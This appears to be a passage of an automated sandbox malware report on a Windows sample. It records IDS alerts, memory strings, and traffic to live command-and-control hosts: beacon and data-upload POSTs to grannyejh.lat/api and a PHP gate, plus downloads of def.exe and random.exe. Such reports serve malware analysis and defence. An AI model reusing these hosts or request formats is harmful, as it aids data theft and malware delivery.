00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 66 6f 73 6b 61 66 77 00 00 2a 00 00 c0 24 00 00 f6 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 61 67 78 73 62 70 00 10 00 00 00 c0 4e 00 00 04 00 00 00 72 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4e 00 00 22 00 00 00 76 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 37 33 32 35 37 32 42 43 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="hwid"BA732572BC951117388365------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="build"stok------IJECAEHJJJKJKFIDGCBG--

Source: Joe Sandbox View	IP Address: 104.21.64.80 104.21.64.80
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49720 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49729 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49741 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49747 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XY6QIBD7TQEPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12808Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LL8D1N1HQAVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15034Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FNLQ163N1C0OOS22User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20389Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=V9T11NNB4YDQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1201Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5YZ5H0MUTOS2EGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 553552Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1562137174.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/l
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe;
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeP
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsL
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1460627571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: niwvNnBk2p.exe, 00000000.00000003.1384122364.0000000005CDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436460976.0000000001401000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.0000000001372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: niwvNnBk2p.exe, 00000000.00000003.1485495246.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/9
Source: niwvNnBk2p.exe, 00000000.00000003.1360042338.0000000001415000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1460377517.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436460976.0000000001413000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1411728390.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1563104379.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1408785692.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.0000000001400000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485417914.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1461014467.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1563310814.0000000001411000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412541489.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1562935407.0000000001400000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.0000000001413000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1460627571.0000000001413000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1562137174.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: niwvNnBk2p.exe, 00000000.00000003.1411728390.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1408785692.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1382363881.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1383507429.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1385372526.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412541489.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api?T
Source: niwvNnBk2p.exe, 00000000.00000003.1563104379.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485417914.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apier
Source: niwvNnBk2p.exe, 00000000.00000003.1436460976.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apig
Source: niwvNnBk2p.exe, 00000000.00000003.1460377517.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1446515246.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1461014467.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiwSCa
Source: niwvNnBk2p.exe, 00000000.00000003.1411728390.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1408785692.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412541489.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436091437.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/eA
Source: niwvNnBk2p.exe, niwvNnBk2p.exe, 00000000.00000003.1460377517.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1461014467.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: niwvNnBk2p.exe, 00000000.00000003.1337500514.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337193484.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1337091378.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: niwvNnBk2p.exe, 00000000.00000003.1385925815.0000000001418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: niwvNnBk2p.exe, 00000000.00000003.1385437734.0000000005DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
